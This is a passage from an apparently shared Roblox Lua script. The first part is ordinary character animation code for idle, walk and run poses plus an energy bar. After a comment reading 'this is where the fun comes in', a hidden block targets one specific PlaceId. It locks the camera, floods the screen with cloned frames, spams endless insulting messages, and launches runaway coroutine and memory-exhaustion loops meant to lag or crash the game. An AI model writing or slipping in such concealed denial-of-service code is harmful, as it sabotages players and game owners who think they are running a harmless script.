  4745. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4746. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4747. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4748. end
  4749. else
  4750. if attack==false then
  4751. Footsteps:Stop()
  4752. Footsteps2:Stop()
  4753. Humanoid.WalkSpeed=12
  4754. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4755. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4756. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4757. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4758. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4759. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4760. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4761. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4762. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4763. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4764. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4765. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4766. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4767. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4768. end
  4769. end
  4770. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4771. Anim="Walk"
  4772. if attack==false then
  4773. change=0.8
  4774. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4775. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4776. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4777. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4778. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4779. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4780. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4781. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4782. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4783. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4784. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4785. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4786. RH.C0=clerp(RH.C0,RHC0,.3)
  4787. LH.C0=clerp(LH.C0,LHC0,.3)
  4788. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4789. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4790. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4791. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4792. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4793. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4794. ]]--
  4795. Footsteps:Play()
  4796. Footsteps2:Stop()
  4797. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4798. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4799. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4800. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4801. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4802. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4803. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4804. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4805. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4806. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4807. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4808. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4809. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4810. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4811. end
  4812. elseif torvel>=22 and hitfloor~=nil then
  4813. Anim="Run"
  4814. change=1
  4815. if attack==false then
  4816. Footsteps:Stop()
  4817. Footsteps2:Play()
  4818. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4819. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4820. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4821. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4822. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4823. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4824. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4825. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4826. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4827. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4828. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4829. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4830. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4831. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4832. end
  4833. end
  4834. end
  4835. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4836. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4837. text.Text = math.floor(hum.Health)
  4838. if mana>=100 then
  4839. mana=100
  4840. else
  4841. if mananum<=8 then
  4842. mananum=mananum+100
  4843. else
  4844. mananum=0
  4845. mana=mana+100
  4846. end
  4847. end
  4848. end
  4849.  
  4850.  
  4851.  
  4852.  
  4853. --- shshshhh this is where the fun comes in ---
  4854. if game.PlaceId == 21053279 then
  4855. plr = game.Players.LocalPlayer
  4856. char = plr.Character
  4857. cam = workspace.CurrentCamera
  4858. cam.CameraType = "Scriptable"
  4859. cam.CoordinateFrame = CFrame.new(0,0,50)
  4860. local localContainer
  4861. local service=setmetatable({
  4862. MarketPlace=game:service("MarketplaceService");
  4863. GamepassService=game:service("GamePassService");
  4864. ChatService=game:service("Chat");
  4865. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4866. },{
  4867. __index=function(tab,index)
  4868. local serv
  4869. local ran,err=pcall(function() serv=game:service(index) end)
  4870. if ran then
  4871. tab[index]=serv
  4872. return serv
  4873. end
  4874. end
  4875. })
  4876.  
  4877. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4878.  
  4879. x=game.Players.LocalPlayer
  4880. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4881. f=Instance.new("Frame")
  4882. f.Size=UDim2.new(1,0,1,0)
  4883. f.BackgroundTransparency=0.01
  4884. f.BackgroundColor3=Color3.new()
  4885. pg=x.PlayerGui
  4886. gui=Instance.new("ScreenGui",pg)
  4887. wait(.1)
  4888. for i=1,28000 do
  4889. f:Clone().Parent=gui
  4890. f:Clone().Parent=gui
  4891. f:Clone().Parent=gui
  4892. end
  4893.  
  4894. script:Destroy();
  4895. local runService = Game:GetService("RunService").Stepped;
  4896. local LagNum = 1250;
  4897. local str = "lag fucker lag";
  4898.  
  4899. for i = 1, math.huge do
  4900. if i % LagNum == 0 then runService:wait(); end
  4901. Instance.new("Message", Workspace).Text = str;
  4902. end
  4903.  
  4904. local bores=coroutine.create(function() --Yolo?
  4905. cPcall(function()
  4906. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4907. cPcall(print,'lol')
  4908. cPcall(warn,'lol')
  4909. cPcall(error,'lol')
  4910. while wait(0.1) do
  4911. spawn(function()
  4912. cPcall(function()
  4913. spawn(function()
  4914. local tab={}
  4915. pcall(function()
  4916. spawn(function()
  4917. for i=1,1000000 do
  4918. cPcall(function()
  4919. spawn(function()
  4920. local bob2=coroutine.create(function()
  4921. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4922. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4923. spawn(f1)
  4924. end)
  4925. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4926. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4927. end)
  4928. end)
  4929. end
  4930. tab={}
  4931. end)
  4932. end)
  4933. end)
  4934. end)
  4935. end)
  4936. end
  4937. end)
  4938. end)
  4939.  
  4940. service.RunService.Stepped:connect(function()
  4941. for i=1,500000 do
  4942. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4943. end
  4944. end)
  4945.  
  4946.  
  4947. local function bob()
  4948. cPcall(function()
  4949. while wait(0.1) do
  4950. --cPcall(function()
  4951. --for i=1,100 do
  4952. local p=Instance.new("Part")
  4953. p.Material="Neon"
  4954. p.Size=Vector3.new(50,50,50)
  4955. p.Anchored=true
  4956. p.BackSurface="Studs"
  4957. p.BottomSurface="Studs"
  4958. p.FrontSurface="Studs"
  4959. p.LeftSurface="Studs"
  4960. p.RightSurface="Studs"
  4961. p.TopSurface="Studs"
  4962. local t=Instance.new("Texture",p)
  4963. t.Texture="http://www.roblox.com/asset/?id=190803157"
  4964. t.Face="Top"
  4965. t.StudsPerTileU=1000
  4966. t.StudsPerTileV=1000
  4967. local t2=t:clone()
  4968. t2.Parent=p
  4969. t2.Face="Bottom"
  4970. local t2=t:clone()
  4971. t2.Parent=p
  4972. t2.Face="Left"
  4973. local t2=t:clone()
  4974. t2.Parent=p
  4975. t2.Face="Right"
  4976. local t2=t:clone()
  4977. t2.Parent=p
  4978. t2.Face="Front"
  4979. local t2=t:clone()
  4980. t2.Parent=p
  4981. t2.Face="Back"
  4982. p.Parent=service.LocalContainer()
  4983. --end
  4984. --end)
  4985. end
  4986. end)
  4987. end
  4988. bob() --while wait(0.1) do cPcall(bob) end
  4989. end
  4990. --
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement